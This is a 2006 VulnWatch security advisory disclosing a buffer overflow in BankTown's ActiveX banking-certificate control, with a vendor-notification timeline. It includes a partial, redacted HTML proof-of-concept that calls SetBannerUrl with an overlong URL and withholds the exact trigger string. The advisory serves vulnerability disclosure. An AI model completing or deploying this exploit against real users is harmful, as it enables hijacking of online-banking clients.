

[VulnWatch] BankTown's ActiveX Buffer Overflow Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2006-05/msg00003.html>

- *From:* "Alex Park" <saintlinu@xxxxxxxxx>
 - *Date:* Wed, 3 May 2006 18:34:37 +0800
-

Title: BankTown's ActiveX Buffer Overflow Vulnerability

Version: BankTown Client Control 1,4,2,51817

Discoverer: PARK, GYU TAE (saintlinu@xxxxxxxxxxxxxx)

Advisory No.: NRVA06-01

Critical: High critical

Impact: Gain remote user's privilege

Where: From remote

Operating System: Windows Only

Test Client System: Windows XP Service Pack 2 with full patched in KOREAN

Solution: Unpatched yet

Notice: 21. 04. 2006 initiate notified
26. 04. 2006 Second notified
02. 05. 2006 Third notified but not responded
03. 05. 2006 Disclosure Vulnerability

Description:

The BankTown's ActiveX is common certification solution on the net
If citizen want to use Internet banking, Stock and so on like Online
banking services in Korea
then must be use PKI certification program like this ActiveX.

The BankTown's activex has one remote vulnerability.
If using HTML file that crafted by this vulnerability then you'll get
somebody's remote privilege.

See following detail describe:

[VulnWatch] BankTown's ActiveX Buffer Overflow Vulnerability

BankTown's activex have SetBannerUrl() function. this function requests two arguments(id and url).

This function didn't check url argument that is good or not.

If you can put magic string like

'http://www.hacked_banktown.com/ magic_string /' then IE must lead to buffer overflow right now.

You'll get an EIP like '0x41414141'. It's pretty simple buffer overflow if you know 'magic strings and length'

EXPLOIT INCLUDED HERE

<snip code>

<BODY>

<OBJECT id="GotBT" width=0 height=0

classid="CLSID:C572979D-8383-4CCA-A37A-0F7CC3B62D81"

CODEBASE="http://download.banktown.com/XXXXXXXXXXXXXXXX/BtCxSFM20F.cab#version=1.4.2.51817>

</OBJECT>

<script language=javascript>

<!--

function go() {

var str1 = "Hacked";

var str2 = "http://www.hacked_X.org/Magic length/Magic strings:

val = GotBT.SetBannerUrl(str2, str1);

↓

go();

</SCRIPT>

</body>

</snip code>

PS.

When I try to contact vendor

but vendor didn't response to me, I'll wait until only 10 days.

If vendor responded to me then I don't publish any informatin related

vulnerability

until patched this vulnerability.

Sorry poor my konglish if you can't understand this sentences

You just DO read code snippet

==

Make Our Internet Secure With H4ck3rz